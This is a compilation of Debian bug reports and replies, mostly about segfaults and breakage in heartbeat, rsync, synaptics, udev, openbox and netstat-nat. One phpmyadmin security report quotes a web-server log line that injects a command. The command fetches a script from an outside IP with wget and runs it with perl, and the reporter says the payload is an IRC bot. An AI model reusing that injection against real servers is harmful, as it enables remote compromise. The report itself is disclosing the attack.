Bug#601807: heartbeat: Segfault while using a failover IPv6 address
On 07/11/2010 12:02, Laurent CARON wrote: On 07/11/2010 02:27, Simon Horman wrote: On Sat, Nov 06, 2010 at 08:07:13PM +0100, Laurent CARON wrote: On 30/10/2010 08:54, Simon Horman wrote: On Sat, Oct 30, 2010 at 08:18:33AM +0200, Laurent Caron wrote: On Sat, Oct 30, 2010 at 02:11:57PM +0900, Simon Horman wrote: On Fri, Oct 29, 2010 at 10:54:55PM +0200, Laurent Caron wrote: could you give a little bit more detail on the configuration that you have that segfaults? Hi Simon, Here you go: $ /etc/ha.d/resource.d/IPv6addr abcd:abc:abc:a::b/64/bond0 start *** glibc detected *** /usr/lib/ocf/resource.d//heartbeat/IPv6addr: free(): invalid next size (fast): 0x006042b0 *** [ snip ] Thanks Hi Simon, Do you have any input on this ? Hi, I haven't had time to look into this. But I would start by seeing if the bug has been fixed upstream - I seem to recall a fix for a problem like this. Did check it: http://rpmfind.net/linux/RPM/opensuse/11.3/x86_64/heartbeat-resources-2.99.3-18.2.x86_64.html * Wed Jan 21 2009 l...@suse.de - RA: IPv6addr: Fix crash on x86_64 (LF#2034). Can you please push this fix to the debian package ? Thanks Hi Simon, Did you update the debian package with the IPv6 patch ? Thanks Laurent -- To UNSUBSCRIBE, email to debian-bugs-rc-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Bug#601807: heartbeat: Segfault while using a failover IPv6 address
On Sat, Oct 30, 2010 at 02:11:57PM +0900, Simon Horman wrote: > On Fri, Oct 29, 2010 at 10:54:55PM +0200, Laurent Caron wrote: > could you give a little bit more detail on the configuration > that you have that segfaults? Hi Simon, Here you go: $ /etc/ha.d/resource.d/IPv6addr abcd:abc:abc:a::b/64/bond0 start *** glibc detected *** /usr/lib/ocf/resource.d//heartbeat/IPv6addr: free(): invalid next size (fast): 0x006042b0 *** === Backtrace: = /lib/libc.so.6[0x7f4f800b09a8] /lib/libc.so.6(cfree+0x76)[0x7f4f800b2ab6] /usr/lib/libnet.so.1(libnet_write+0x10b)[0x7f4f8110ab6b] /usr/lib/ocf/resource.d//heartbeat/IPv6addr[0x401fce] /usr/lib/ocf/resource.d//heartbeat/IPv6addr[0x402710] /lib/libc.so.6(__libc_start_main+0xe6)[0x7f4f8005b1a6] /usr/lib/ocf/resource.d//heartbeat/IPv6addr[0x401539] === Memory map: 0040-00404000 r-xp 09:01 2777275 /usr/lib/ocf/resource.d/heartbeat/IPv6addr 00603000-00604000 rw-p 3000 09:01 2777275 /usr/lib/ocf/resource.d/heartbeat/IPv6addr 00604000-00625000 rw-p 00:00 0 [heap] 7f4f7800-7f4f78021000 rw-p 00:00 0 7f4f78021000-7f4f7c00 ---p 00:00 0 7f4f7eb34000-7f4f7eb4a000 r-xp 09:01 3579907 /lib/libgcc_s.so.1 7f4f7eb4a000-7f4f7ed4a000 ---p 00016000 09:01 3579907 /lib/libgcc_s.so.1 7f4f7ed4a000-7f4f7ed4b000 rw-p 00016000 09:01 3579907 /lib/libgcc_s.so.1 7f4f7ed4b000-7f4f7ed61000 r-xp 09:01 3580257 /lib/libpthread-2.7.so 7f4f7ed61000-7f4f7ef61000 ---p 00016000 09:01 3580257 /lib/libpthread-2.7.so 7f4f7ef61000-7f4f7ef63000 rw-p 00016000 09:01 3580257 /lib/libpthread-2.7.so 7f4f7ef63000-7f4f7ef67000 rw-p 00:00 0 7f4f7ef67000-7f4f7efe9000 r-xp 09:01 3580231 /lib/libm-2.7.so 7f4f7efe9000-7f4f7f1e8000 ---p 00082000 09:01 3580231 /lib/libm-2.7.so 7f4f7f1e8000-7f4f7f1ea000 rw-p 00081000 09:01 3580231 /lib/libm-2.7.so 7f4f7f1ea000-7f4f7f212000 r-xp 09:01 2660238 /usr/lib/libpcre.so.3.12.1 7f4f7f212000-7f4f7f411000 ---p 00028000 09:01 2660238 /usr/lib/libpcre.so.3.12.1 7f4f7f411000-7f4f7f412000 rw-p 00027000 09:01 2660238 /usr/lib/libpcre.so.3.12.1 7f4f7f412000-7f4f7f419000 r-xp 09:01 7045179 /usr/lib/libpils.so.1.0.0 7f4f7f419000-7f4f7f619000 ---p 7000 09:01 7045179 /usr/lib/libpils.so.1.0.0 7f4f7f619000-7f4f7f61a000 rw-p 7000 09:01 7045179 /usr/lib/libpils.so.1.0.0 7f4f7f61a000-7f4f7f621000 r-xp 09:01 2659952 /usr/lib/libltdl.so.3.1.6 7f4f7f621000-7f4f7f82 ---p 7000 09:01 2659952 /usr/lib/libltdl.so.3.1.6 7f4f7f82-7f4f7f821000 rw-p 6000 09:01 2659952 /usr/lib/libltdl.so.3.1.6 7f4f7f821000-7f4f7f823000 r-xp 09:01 3580240 /lib/libdl-2.7.so 7f4f7f823000-7f4f7fa23000 ---p 2000 09:01 3580240 /lib/libdl-2.7.so 7f4f7fa23000-7f4f7fa25000 rw-p 2000 09:01 3580240 /lib/libdl-2.7.so 7f4f7fa25000-7f4f7fa2d000 r-xp 09:01 3580244 /lib/librt-2.7.so 7f4f7fa2d000-7f4f7fc2c000 ---p 8000 09:01 3580244 /lib/librt-2.7.so 7f4f7fc2c000-7f4f7fc2e000 rw-p 7000 09:01 3580244 /lib/librt-2.7.so 7f4f7fc2e000-7f4f7fc39000 r-xp 09:01 3579927 /lib/libpam.so.0.81.12 7f4f7fc39000-7f4f7fe38000 ---p b000 09:01 3579927 /lib/libpam.so.0.81.12 7f4f7fe38000-7f4f7fe39000 rw-p a000 09:01 3579927 /lib/libpam.so.0.81.12 7f4f7fe39000-7f4f7fe3c000 r-xp 09:01 3579973 /lib/libuuid.so.1.2 7f4f7fe3c000-7f4f8003c000 ---p 3000 09:01 3579973 /lib/libuuid.so.1.2 7f4f8003c000-7f4f8003d000 rw-p 3000 09:01 3579973 /lib/libuuid.so.1.2 7f4f8003d000-7f4f80187000 r-xp 09:01 3580243 /lib/libc-2.7.so 7f4f80187000-7f4f80386000 ---p 0014a000 09:01 3580243 /lib/libc-2.7.so 7f4f80386000-7f4f80389000 r--p 00149000 09:01 3580243 /lib/libc-2.7.so 7f4f80389000-7f4f8038b000 rw-p 0014c000 09:01 3580243 /lib/libc-2.7.so 7f4f8038b000-7f4f8039 rw-p 00:00 0 7f4f8039-7f4f804e2000 r-xp 09:01 2659812 /usr/lib/libxml2.so.2.6.32 7f4f804e2000-7f4f806e1000 ---p 00152000 09:01 2659812 /usr/lib/libxml2.so.2.6.32 7f4f806e1000-7f4f806eb000 rw-p 00151000 09:01 2659812 /usr/lib/libxml2.so.2.6.32 7f4f806eb000-7f4f806ec000 rw-p 00:00 0 7f4f806ec000-7f4f80702000 r-xp 09:0
Bug#601807: heartbeat: Segfault while using a failover IPv6 address
Package: heartbeat Version: 2.1.3-6lenny4 Severity: grave Justification: renders package unusable Hi, Heartbeat doesn't seem to play nice with ipv6. It segfaults while trying to add an IPv6 address. -- System Information: Debian Release: 5.0.6 APT prefers stable APT policy: (500, 'stable') Architecture: amd64 (x86_64) Kernel: Linux 2.6.35.420100909 (SMP w/8 CPU cores) Locale: lang=fr...@euro, lc_ctype=fr...@euro (charmap=ISO-8859-15) (ignored: LC_ALL set to fr...@euro) Shell: /bin/sh linked to /bin/bash Versions of packages heartbeat depends on: ii adduser 3.110add and remove users and groups ii gawk1:3.1.5.dfsg-4.1 GNU awk, a pattern scanning and pr ii iproute 20080725-2 networking and traffic control too ii iputils-ping3:20071127-1+lenny1 Tools to test the reachability of ii libbz2-1.0 1.0.5-1+lenny1 high-quality block-sorting file co ii libc6 2.7-18lenny4 GNU C Library: Shared libraries ii libcurl37.18.2-8lenny4 Multi-protocol file transfer libra ii libglib2.0-02.16.6-3 The GLib library of C routines ii libgnutls26 2.4.2-6+lenny2 the GNU TLS library - runtime libr ii libltdl31.5.26-4+lenny1 A system independent dlopen wrappe ii libncurses5 5.7+20081213-1 shared libraries for terminal hand ii libnet1 1.1.2.1-2library for the construction and h ii libopenhpi2 2.12.0-1 OpenHPI libraries (runtime and sup ii libpam-runtime 1.0.1-7 Runtime support for the PAM librar ii libpam0g1.0.1-7 Pluggable Authentication Modules l ii libsnmp15 5.4.1~dfsg-12SNMP (Simple Network Management Pr ii libssl0.9.8 0.9.8g-15+lenny8 SSL shared libraries ii libuuid11.41.3-1 universally unique id library ii libwrap07.6.q-16 Wietse Venema's TCP wrappers libra ii libxml2 2.6.32.dfsg-5+lenny1 GNOME XML library ii libxml2-utils 2.6.32.dfsg-5+lenny1 XML utilities ii mawk1.3.3-11.1 a pattern scanning and text proces ii psmisc 22.6-1 Utilities that use the proc filesy ii python 2.5.2-3 An interactive high-level object-o ii python-central 0.6.8register and build utility for Pyt ii zlib1g 1:1.2.3.3.dfsg-12compression library - runtime Versions of packages heartbeat recommends: ii iptables 1.4.2-6administration tools for packet fi ii logrotate 3.7.1-5Log rotation utility ii syslog-ng [system-log-daemon] 2.0.9-4.1 Next generation logging daemon heartbeat suggests no packages. -- no debconf information -- To UNSUBSCRIBE, email to debian-bugs-rc-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Bug#535044: phpmyadmin: PHPMyAdmin seems to be vulnerable to some code injection
Package: phpmyadmin Version: 4:2.11.8.1-5+lenny1 Severity: critical Tags: security Justification: root security hole Hi, After looking at my logs, I did notice a lot of attempts to break in phpmyadmin through the following kind of url: 82.79.155.33 - - [29/Jun/2009:03:32:31 +0200] "GET //phpmyadmin//config.inc.php?c=wget%20http://188.24.50.187/50.txt%20-O%20/tmp/50.txt;perl%20/tmp/50.txt%20%3E%3E/dev/null&; It seems PHPMyAdmin shipped with Lenny is still vulnerable to this remote exploit It is basically an IRC bot -- System Information: Debian Release: 5.0.2 APT prefers stable APT policy: (500, 'stable') Architecture: amd64 (x86_64) Kernel: Linux 2.6.28.6-p390-20090217 (SMP w/4 CPU cores) Locale: lang=fr...@euro, lc_ctype=fr...@euro (charmap=ISO-8859-15) Shell: /bin/sh linked to /bin/bash Versions of packages phpmyadmin depends on: ii debconf [debconf-2 1.5.24Debian configuration management sy ii libapache2-mod-php 5.2.6.dfsg.1-1+lenny3 server-side, HTML-embedded scripti ii perl 5.10.0-19 Larry Wall's Practical Extraction ii php5 5.2.6.dfsg.1-1+lenny3 server-side, HTML-embedded scripti ii php5-cgi 5.2.6.dfsg.1-1+lenny3 server-side, HTML-embedded scripti ii php5-mcrypt5.2.6.dfsg.1-1+lenny3 MCrypt module for php5 ii php5-mysql 5.2.6.dfsg.1-1+lenny3 MySQL module for php5 Versions of packages phpmyadmin recommends: ii apache22.2.9-10+lenny3 Apache HTTP Server metapackage ii apache2-mpm-prefor 2.2.9-10+lenny3 Apache HTTP Server - traditional n ii php5-gd5.2.6.dfsg.1-1+lenny3 GD module for php5 Versions of packages phpmyadmin suggests: ii mysql-server-5.0 [mysq 5.0.51a-24+lenny1 MySQL database server binaries -- debconf information: phpmyadmin/setup-username: admin * phpmyadmin/reconfigure-webserver: phpmyadmin/restart-webserver: false -- To UNSUBSCRIBE, email to debian-bugs-rc-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Bug#461760: xserver-xorg-input-synaptics: Synaptics touchpad completely stops working under gdm, xdm, kdm ... and X (gnome, openbox, kde...)
Julien Cristau wrote: That config presumably worked with xserver 1.3, so it'd be better if we didn't break it. Could you rebuild the X server with the following patch, and see if that works (with the AlwaysCore option in your config)? Yes, please send me the modified binary file, and i'll try it. -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Bug#461760: xserver-xorg-input-synaptics: Synaptics touchpad completely stops working under gdm, xdm, kdm ... and X (gnome, openbox, kde...)
Julien Cristau wrote: Hi, you reported a problem with the synaptics driver not reporting any events for your touchpad. Can you attach the contents of /proc/bus/input/devices to this bug? Also, please test with the packages from testing (you would need to downgrade your video driver, input drivers and xserver-xorg-core), and if that works please attach the Xorg log. The information so far in this bug only shows that a previous version of synaptics couldn't load with xserver 1.4 due to unresolved symbols, but nothing showing the driver works on your systems, unless I've missed something. Hi, Sorry not to have updated this. I fixed it a long time ago... and forgot. I simply did remove the line: Option "AlwaysCore" from the InputDevice section of /etc/X11/xorg.conf So... more than a bug it seems to be a mistake in my config. No ? Laurent Mattia, do you have an idea about this bug? It's currently one of the few blockers for getting an updated X in testing. -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Bug#476786: rsync fails to transfer /var/log/ntpstats/*
Package: rsync
Version: 2.6.9-2etch1
Severity: critical
Justification: causes serious data loss
Hi,
I did notice that rsync fails to transfer some files (eg:
/var/log/ntpstats/*) and dies on files in that directory on any
non-initial run.
On the first run, it all goes well.
On the subsequent runs:
donald:~# rsync -aAzHRxby -vP --exclude='var/log/ntpstats' --numeric-ids
--suffix='' --backup-dir=/backup/local/gloups.lncsa.com/2008-04-YY
'gloups.lncsa.com:/{etc,var/log}'
/backup/local/gloups.lncsa.com/current
receiving file list ...
14452 files to consider
...
...
var/log/ntpstats/
var/log/ntpstats/loopstats
884 100%1.59kB/s0:00:00 (xfer#11, to-check=182/14473)
var/log/ntpstats/peerstats
8306 100% 14.97kB/s0:00:00 (xfer#12, to-check=172/14473)
zsh: segmentation fault rsync -aAzHRxby -vP --numeric-ids --suffix=''
rsync: connection unexpectedly closed (120216 bytes received so far) [sender]
rsync error: error in rsync protocol data stream (code 12) at io.c(453)
[sender=2.6.9]
rsync: connection unexpectedly closed (447235 bytes received so far) [receiver]
rsync error: error in rsync protocol data stream (code 12) at io.c(453)
[receiver=2.6.9]
If i now use an exclude (--exclude='var/log/ntpstats'), it finishes
without any problem.
I did use critical severity because, if you use rsync to make backups...
it can be messy to realize your backups are just useless.
Thanks
Laurent
-- System Information:
Debian Release: 4.0
APT prefers testing
APT policy: (500, 'testing'), (500, 'stable')
Architecture: i386 (i686)
Shell: /bin/sh linked to /bin/bash
Kernel: Linux 2.6.23.12-dl380-2g2g-20080105
Locale: [EMAIL PROTECTED], [EMAIL PROTECTED] (charmap=ISO-8859-15) (ignored:
LC_ALL set to [EMAIL PROTECTED])
Versions of packages rsync depends on:
ii libacl12.2.41-1 Access control list shared library
ii libc6 2.3.6.ds1-13etch2 GNU C Library: Shared libraries
ii libpopt0 1.10-3lib for parsing cmdline parameters
ii lsb-base 3.1-22Linux Standard Base 3.1 init scrip
rsync recommends no packages.
-- no debconf information
--
To UNSUBSCRIBE, email to [EMAIL PROTECTED]
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Bug#461760: xserver-xorg-input-synaptics: Synaptics touchpad completely stops working under gdm, xdm, kdm ... and X (gnome, openbox, kde...)
Mattia Dongili wrote: while the non-working has everything in place. What does synclient -l neptune:~# synclient -l Parameter settings: LeftEdge= 120 RightEdge = 930 TopEdge = 120 BottomEdge = 700 FingerLow = 14 FingerHigh = 15 FingerPress = 256 MaxTapTime = 180 MaxTapMove = 110 MaxDoubleTapTime= 180 SingleTapTimeout= 180 ClickTime = 0 FastTaps= 0 EmulateMidButtonTime= 75 EmulateTwoFingerMinZ= 257 VertScrollDelta = 10 HorizScrollDelta= 0 VertEdgeScroll = 1 HorizEdgeScroll = 1 CornerCoasting = 0 VertTwoFingerScroll = 0 HorizTwoFingerScroll= 0 MinSpeed= 0.45 MaxSpeed= 0.75 AccelFactor = 0.02 TrackstickSpeed = 40 EdgeMotionMinZ = 30 EdgeMotionMaxZ = 160 EdgeMotionMinSpeed = 200 EdgeMotionMaxSpeed = 200 EdgeMotionUseAlways = 0 UpDownScrolling = 1 LeftRightScrolling = 1 UpDownScrollRepeat = 1 LeftRightScrollRepeat = 1 ScrollButtonRepeat = 100 TouchpadOff = 0 GuestMouseOff = 0 LockedDrags = 0 LockedDragTimeout = 5000 RTCornerButton = 2 RBCornerButton = 3 LTCornerButton = 0 LBCornerButton = 0 TapButton1 = 1 TapButton2 = 2 TapButton3 = 3 CircularScrolling = 0 CircScrollDelta = 0.1 CircScrollTrigger = 2 CircularPad = 0 PalmDetect = 1 PalmMinWidth= 10 PalmMinZ= 200 CoastingSpeed = 0 PressureMotionMinZ = 30 PressureMotionMaxZ = 160 PressureMotionMinFactor = 1 PressureMotionMaxFactor = 1 GrabEventDevice = 1 neptune:~# issue with the current xserver-xorg-input-synaptics? Also, do you have any gsynaptics/ksynaptics/qsynaptics installed? no Thanks Laurent -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Bug#461760: xserver-xorg-input-synaptics: Synaptics touchpad completely stops working under gdm, xdm, kdm ... and X (gnome, openbox, kde...)
Package: xserver-xorg-input-synaptics Version: 0.14.7~git20070706-2 Severity: grave Justification: renders package unusable Hi, I did just dist-upgrade my laptop running sid and did experience a touchpad problem. After rebooting, my touchpad no longer works. If I plug a USB mouse, the USB mouse works fine (the touchpad is still non-working). I tried to downgrade the xserver-xorg-input-synaptics, restart gdm and my touchpad is working again. - xorg.conf - Section "ServerLayout" Identifier "double" Screen 0"Default Screen" InputDevice"Generic Keyboard" InputDevice"Configured Mouse" InputDevice"Synaptics Touchpad" EndSection Section "Files" # path to defoma fonts FontPath"/usr/share/fonts/X11/misc" FontPath"/usr/X11R6/lib/X11/fonts/misc" FontPath"/usr/share/fonts/X11/cyrillic" FontPath"/usr/X11R6/lib/X11/fonts/cyrillic" FontPath"/usr/share/fonts/X11/100dpi/:unscaled" FontPath"/usr/X11R6/lib/X11/fonts/100dpi/:unscaled" FontPath"/usr/share/fonts/X11/75dpi/:unscaled" FontPath"/usr/X11R6/lib/X11/fonts/75dpi/:unscaled" FontPath"/usr/share/fonts/X11/Type1" FontPath"/usr/X11R6/lib/X11/fonts/Type1" FontPath"/usr/share/fonts/X11/100dpi" FontPath"/usr/X11R6/lib/X11/fonts/100dpi" FontPath"/usr/share/fonts/X11/75dpi" FontPath"/usr/X11R6/lib/X11/fonts/75dpi" FontPath"/var/lib/defoma/x-ttcidfont-conf.d/dirs/TrueType" FontPath"unix/:7100" EndSection Section "Module" Load "i2c" Load "bitmap" Load "ddc" Load "extmod" Load "freetype" Load "type1" Load "int10" Load "vbe" Load "dri" Load "glx" Load "v4l" Load "dbe" EndSection Section "InputDevice" Identifier "Generic Keyboard" Driver "kbd" Option "CoreKeyboard" Option "XkbRules" "xorg" Option "XkbModel" "pc105" Option "XkbLayout" "fr" Option "XkbVariant" "latin9" EndSection Section "InputDevice" Identifier "Configured Mouse" Driver "mouse" Option "CorePointer" Option "Device" "/dev/input/mice" Option "Protocol" "ImPS/2" Option "Emulate3Buttons" "true" EndSection Section "InputDevice" Identifier "Synaptics Touchpad" Driver "synaptics" Option "SendCoreEvents" "true" Option "Device" "/dev/psaux" Option "Protocol" "auto-dev" # Option "HorizScrollDelta" "0" Option "AlwaysCore" #Option "Protocol" "event" Option "LeftEdge" "120" Option "RightEdge" "930" Option "TopEdge" "120" Option "BottomEdge" "700" Option "FingerLow" "14" Option "FingerHigh" "15" Option "MaxTapTime" "180" Option "MaxTapMove" "110" Option "ClickTime" "0" Option "EmulateMidButtonTime" "75" Option "VertScrollDelta" "10" Option "HorizScrollDelta" "0" Option "MinSpeed" "0.45" Option "MaxSpeed" "0.75" Option "AccelFactor" "0.020" Option "EdgeMotionMinSpeed" "200" Option "EdgeMotionMaxSpeed" "200" Option "UpDownScrolling" "1" Option "CircularScrolling" "0" Option "CircScrollDelta" "0.1" Option "CircScrollTrigger" "2" Option "RTCornerButton" "2" Option "RBCornerButton" "3" Option "TapButton2" "2" Option "SHMConfig" "true" EndSection # LFP - Local Flat Panel - Ecran du portable Section "Monitor" Identifier "VaioFlatPanel" Option "DPMS" ModelName "Vaio Flat Panel 1280x800" EndSection # CRT - Ecran CRT sur la sortie VGA Section "Monitor" Identifier "SonyFlatPanel" VendorName "Sony" # Monitor preferred modeline (60.0 Hz vsync, 64.0 kHz hsync, ratio 5/4) ModeLine "1280x1024" 108 1280 1328 1440 1688 1024 1025 1028 1066 +hsync +vsync HorizSync 28-64 VertRefresh 43-60 EndSection # Carte graphique i945 - Intel Section "Device" Identifier "device1" Driver "i810" BusID "PCI:0:2:0" VendorName "Intel Corp." BoardName "Intel 915" VideoRam131072 Screen 0 Option "DPMS" Option "May_Need_ForceBIOS" "1" Option "XaaNoOffscreenPixmaps" "1" Option "AccelMethod" "EXA" Option "VBERestore" "true" Option "BackingStore" "true" Option "NoAccel" "false" Option "DRI" "true" Option "MonitorLayout" "CRT,LFP" Option "Clone" "true" Option "VideoRam" "65536" Option "CacheLines" "1980"
Bug#458808: netstat-nat segfaults
Package: netstat-nat Version: 1.4.8-1 Severity: grave Justification: renders package unusable Hi, Netstat-nat simply segfaults. - gw:~# netstat-nat Proto NATed Address Destination Address State Segmentation fault gw:~# - Laurent -- System Information: Debian Release: lenny/sid APT prefers unstable APT policy: (500, 'unstable'), (500, 'testing'), (500, 'stable'), (1, 'experimental') Architecture: i386 (i686) Kernel: Linux 2.6.20-a7n-v3 Locale: [EMAIL PROTECTED], [EMAIL PROTECTED] (charmap=ISO-8859-15) Shell: /bin/sh linked to /bin/bash Versions of packages netstat-nat depends on: ii libc6 2.7-5 GNU C Library: Shared libraries netstat-nat recommends no packages. -- no debconf information -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Bug#383727: Latest udev makes system unbootable because /dev/mdXX are not created
Package: udev Version: 0.097-1 Severity: critical Justification: breaks the whole system I had to remove the symlink z60_mdadm.rules -> ../mdadm.rules to get system boot again. Since i have /boot on md0 (raid1) / on md1 (raid5) /boot would not mount. Removing the symlink makes the devices to be created again, and makes system to boot again. Everything is compiled in kernel (raid, ext3, reiser, ...) Laurent -- Package-specific info: -- /etc/udev/rules.d/: /etc/udev/rules.d/: total 8 lrwxrwxrwx 1 root root 20 2006-02-08 07:24 020_permissions.rules -> ../permissions.rules lrwxrwxrwx 1 root root 19 2006-01-11 08:20 025_libgphoto2.rules -> ../libgphoto2.rules lrwxrwxrwx 1 root root 16 2006-08-16 16:47 025_libsane.rules -> ../libsane.rules lrwxrwxrwx 1 root root 22 2005-12-06 20:42 025_logitechmouse.rules -> ../logitechmouse.rules lrwxrwxrwx 1 root root 13 2006-02-08 07:24 udev.rules -> ../udev.rules lrwxrwxrwx 1 root root 25 2006-04-02 22:35 z20_persistent-input.rules -> ../persistent-input.rules lrwxrwxrwx 1 root root 19 2006-02-08 07:24 z20_persistent.rules -> ../persistent.rules -rw-r--r-- 1 root root 682 2006-08-19 01:08 z25_persistent-cd.rules -rw-r--r-- 1 root root 335 2006-05-02 00:46 z25_persistent-net.rules lrwxrwxrwx 1 root root 33 2006-05-02 00:44 z45_persistent-net-generator.rules -> ../persistent-net-generator.rules lrwxrwxrwx 1 root root 12 2006-02-08 07:24 z50_run.rules -> ../run.rules lrwxrwxrwx 1 root root 16 2006-02-08 07:24 z55_hotplug.rules -> ../hotplug.rules lrwxrwxrwx 1 root root 19 2005-08-11 21:16 z60_alsa-utils.rules -> ../alsa-utils.rules lrwxrwxrwx 1 root root 15 2005-09-20 08:04 z60_hdparm.rules -> ../hdparm.rules lrwxrwxrwx 1 root root 17 2006-02-08 07:37 z60_usbmount.rules -> ../usbmount.rules lrwxrwxrwx 1 root root 33 2006-05-15 00:05 z60_xserver-xorg-input-wacom.rules -> ../xserver-xorg-input-wacom.rules lrwxrwxrwx 1 root root 29 2006-08-19 00:56 z75_cd-aliases-generator.rules -> ../cd-aliases-generator.rules lrwxrwxrwx 1 root root 12 2006-08-19 00:56 z99_hal.rules -> ../hal.rules -- /sys/: /sys/block/fd0/dev /sys/block/hda/dev /sys/block/hdb/dev /sys/block/loop0/dev /sys/block/loop1/dev /sys/block/loop2/dev /sys/block/loop3/dev /sys/block/loop4/dev /sys/block/loop5/dev /sys/block/loop6/dev /sys/block/loop7/dev /sys/block/md0/dev /sys/block/md1/dev /sys/block/md2/dev /sys/block/nbd0/dev /sys/block/nbd10/dev /sys/block/nbd11/dev /sys/block/nbd12/dev /sys/block/nbd13/dev /sys/block/nbd14/dev /sys/block/nbd15/dev /sys/block/nbd1/dev /sys/block/nbd2/dev /sys/block/nbd3/dev /sys/block/nbd4/dev /sys/block/nbd5/dev /sys/block/nbd6/dev /sys/block/nbd7/dev /sys/block/nbd8/dev /sys/block/nbd9/dev /sys/block/ram0/dev /sys/block/ram10/dev /sys/block/ram11/dev /sys/block/ram12/dev /sys/block/ram13/dev /sys/block/ram14/dev /sys/block/ram15/dev /sys/block/ram1/dev /sys/block/ram2/dev /sys/block/ram3/dev /sys/block/ram4/dev /sys/block/ram5/dev /sys/block/ram6/dev /sys/block/ram7/dev /sys/block/ram8/dev /sys/block/ram9/dev /sys/block/sda/dev /sys/block/sda/sda1/dev /sys/block/sda/sda2/dev /sys/block/sda/sda3/dev /sys/block/sdb/dev /sys/block/sdb/sdb1/dev /sys/block/sdb/sdb2/dev /sys/block/sdb/sdb3/dev /sys/block/sdc/dev /sys/block/sdc/sdc1/dev /sys/block/sdc/sdc2/dev /sys/block/sdc/sdc3/dev /sys/block/sdd/dev /sys/block/sdd/sdd1/dev /sys/block/sdd/sdd2/dev /sys/block/sdd/sdd3/dev /sys/block/sde/dev /sys/block/sdf/dev /sys/block/sdg/dev /sys/block/sdh/dev /sys/class/coda/cfs0/dev /sys/class/coda/cfs1/dev /sys/class/coda/cfs2/dev /sys/class/coda/cfs3/dev /sys/class/coda/cfs4/dev /sys/class/cpuid/cpu0/dev /sys/class/cpuid/cpu1/dev /sys/class/i2c-dev/i2c-0/dev /sys/class/i2c-dev/i2c-1/dev /sys/class/i2c-dev/i2c-2/dev /sys/class/i2c-dev/i2c-3/dev /sys/class/ieee1394_protocol/raw1394/dev /sys/class/input/input0/event0/dev /sys/class/input/input1/event1/dev /sys/class/input/input2/event2/dev /sys/class/input/input2/mouse0/dev /sys/class/input/input3/event3/dev /sys/class/input/mice/dev /sys/class/misc/device-mapper/dev /sys/class/misc/microcode/dev /sys/class/misc/nvram/dev /sys/class/misc/pktcdvd/dev /sys/class/misc/psaux/dev /sys/class/misc/rtc/dev /sys/class/misc/vhci/dev /sys/class/msr/msr0/dev /sys/class/msr/msr1/dev /sys/class/scsi_generic/sg0/dev /sys/class/scsi_generic/sg1/dev /sys/class/scsi_generic/sg2/dev /sys/class/scsi_generic/sg3/dev /sys/class/scsi_generic/sg4/dev /sys/class/scsi_generic/sg5/dev /sys/class/scsi_generic/sg6/dev /sys/class/scsi_generic/sg7/dev /sys/class/sound/admmidi/dev /sys/class/sound/adsp/dev /sys/class/sound/amidi/dev /sys/class/sound/audio/dev /sys/class/sound/controlC0/dev /sys/class/sound/dmmidi/dev /sys/class/sound/dsp/dev /sys/class/sound/hwC0D0/dev /sys/class/sound/hwC0D2/dev /sys/class/sound/midiC0D0/dev /sys/class/sound/midiC0D1/dev /sys/class/sound/midiC0D2/dev /sys/class/sound/midi/dev /sys/class/sound/mixer/dev /sys/class/sound/pcmC0D0c/dev /sys/class/sound/pcmC0D0p/dev /sys/class/sound/pcmC0D1c/dev /sys/class/sound/p
Bug#365946: Acknowledgement (openbox: Openbox menu are unable to launch X apps except terminal)
Debian Bug Tracking System wrote: Thank you for the problem report you have sent regarding Debian. This is an automatically generated reply, to let you know your message has been received. It is being forwarded to the package maintainers and other interested parties for their attention; they will reply in due course. Your message has been sent to the package maintainer(s): Tollef Fog Heen <[EMAIL PROTECTED]> If you wish to submit further information on your problem, please send it to [EMAIL PROTECTED] (and *not* to [EMAIL PROTECTED]). Please do not reply to the address at the top of this message, unless you wish to report a problem with the Bug-tracking system. Debian bug tracking system administrator (administrator, Debian Bugs database) Problem seems solved by the latest dist-upgrade done just a few mins ago. Thanks -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Bug#365946: openbox: Openbox menu are unable to launch X apps except terminal
Package: openbox Version: 3.2-9 Severity: grave Justification: renders package unusable Since last dist-upgrade, my openbox menux are inactive. I mean i'm able to launch x terminal emuilator, but no other app launches. Laurent -- System Information: Debian Release: testing/unstable APT prefers unstable APT policy: (500, 'unstable'), (500, 'testing'), (1, 'experimental') Architecture: i386 (i686) Shell: /bin/sh linked to /bin/bash Kernel: Linux 2.6.16-p5ad2e-v7 Locale: [EMAIL PROTECTED], [EMAIL PROTECTED] (charmap=ISO-8859-1) (ignored: LC_ALL set to fr_FR) Versions of packages openbox depends on: hi libc6 2.3.6-7 GNU C Library: Shared libraries ii libfontconfig1 2.3.2-5.1 generic font configuration library ii libglib2.0-0 2.10.2-2 The GLib library of C routines ii libice61:1.0.0-3 X11 Inter-Client Exchange library ii libsm6 1:1.0.0-4 X11 Session Management library ii libstartup-notification0 0.8-1 library for program launch feedbac ii libx11-6 2:1.0.0-6 X11 client-side library ii libxext6 1:1.0.0-4 X11 miscellaneous extension librar ii libxft22.1.8.2-6 FreeType-based font drawing librar ii libxinerama1 1:1.0.1-4 X11 Xinerama extension library ii libxml22.6.24.dfsg-1 GNOME XML library ii zlib1g 1:1.2.3-11compression library - runtime Versions of packages openbox recommends: ii obconf1.5-3 Preferences manager for Openbox -- no debconf information -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Bug#363154: xprint: Xprint fails to start and makes X stop
